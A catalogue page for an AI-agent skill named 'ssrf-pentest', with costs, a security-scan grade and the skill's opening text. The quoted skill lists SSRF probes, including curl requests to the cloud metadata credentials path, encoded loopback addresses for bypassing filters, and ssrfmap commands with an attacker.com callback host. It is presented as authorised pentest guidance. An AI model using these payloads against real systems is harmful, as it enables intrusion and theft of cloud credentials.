Borrowing it
Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/ssrf-pentest/SKILL.mdgit clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harnessWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest)<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/ssrf-pentest.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00057 | $0.02175 |
| Opus 5.5 | $0.00023 | $0.00870 |
| Sonnet 5.5 | $0.00011 | $0.00435 |
| Haiku 4.5 | $0.00006 | $0.00217 |
Grade B, and why
ssrf-pentest scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -X POST "http://<target>/fetch" -d "url=http://127.0.0.1/" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
Probes: `http://127.0.0.1/`, `http://169.254.169.254/`, `http://2130706433/` (decimal), `http://0x7f000001/` (hex) Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -X POST "http://<target>/fetch" -d "url=http://127.0.0.1/" How it starts
The opening of the file, as written. The whole thing — 235 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Server-Side Request Forgery Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE). - Load
web-app-pentestfor overall web testing context. - For cloud metadata targets, also load
cloud-pentest.
Triggers
- Parameters accepting URLs:
url,uri,path,dest,redirect,feed,src - Webhook, callback, or import-from-URL features
- PDF/HTML/image generation from remote resources
- Image proxy, thumbnail, or avatar fetch by URL
- Server-side HTTP client errors referencing internal hosts
- File fetch features accepting
http://,file://, or scheme-prefixed values
Workflow
Task Progress:
- [ ] Identify SSRF sinks (URL params, XML, SVG, PDF, webhook configs)
- [ ] Test with low-impact probes (metadata, internal IPs, DNS canary)
- [ ] Enumerate filter behavior (localhost blocklist, scheme allowlist)
- [ ] Apply bypass techniques when blocked
- [ ] Escalate to internal services, cloud metadata, or protocol abuse
- [ ] Document with request/response evidence and impact proof
Detection
Basic internal probes
CLI (primary for web vulns):
python3 ssrfmap.py -r request.txt -p url -m readfiles
curl -X POST "http://<target>/fetch" -d "url=http://127.0.0.1/"
Probes: http://127.0.0.1/, http://169.254.169.254/, http://2130706433/ (decimal), http://0x7f000001/ (hex)
MSF MCP: No direct module. Use msf_search_modules(query="ssrf") or msf_search_modules(query="server side request").
Blind SSRF (DNS canary)
CLI (primary):
python3 ssrfmap.py -r request.txt -p url -m ssrf --lhost attacker.com --lport 80
# Payload: http://unique-id.attacker.com/
Use Burp Collaborator; confirm DNS lookup or HTTP callback from server IP.
MSF MCP: No direct module.
Exploitation by variant
Cloud metadata (IMDSv1)
CLI (primary):
curl -X POST "http://<target>/fetch" -d "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
python3 ssrfmap.py -r request.txt -p url -m aws
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 235 lines · 57 tokens per session scan B 6cffb5428dae
ssrf-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 2mo ago), licensed MIT. It adds 57 tokens to every session and 2,175 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it B with 3 findings (sends data to an external url, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
local-ai-agents
Build local-first AI agents that run entirely on a developer workstation with Microsoft Foundry Local and Qwen function-calling models. Covers Small Language Models (SLMs), the OpenAI-compatible local endpoint, sandboxed local tools, local RAG with Chroma, local MCP servers, hybrid cloud/local routing, and the…
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
next-cache-components-adoption
Turn on Cache Components in a Next.js app and resolve the blocking routes it surfaces. Use when the user wants to enable, adopt, or migrate to Cache Components, flip the cacheComponents flag, work through a flood of blocking-prerender / instant validation errors, run the cache-components-instant-false codemod, or…
chat-pet-sprite-creation
Use when creating or changing VS Code chat pet sprite art, sprite sheets, state animations, eye treatments, Stable/Insiders variants, or pet transitions under src/vs/workbench/contrib/chat/browser/widget/media/chatPet.
cpu-profile-analysis
Analyze V8/Chrome CPU profiles (.cpuprofile) and DevTools trace files (Trace-.json). Use when: profiling performance, investigating slow functions, comparing code paths, finding bottlenecks, analyzing timeToRequest, understanding call trees from sampling profiler data, analyzing layout/paint/rendering, investigating…
insight-error-page
Write or audit an insight-kind error page for the Next.js dev overlay. Use when creating a new errors/ .mdx page, auditing an existing one, or checking that a page matches the framework fix cards. Covers page structure, title alignment, FixCard cards with Copy prompt button, code snippets, terminology verification…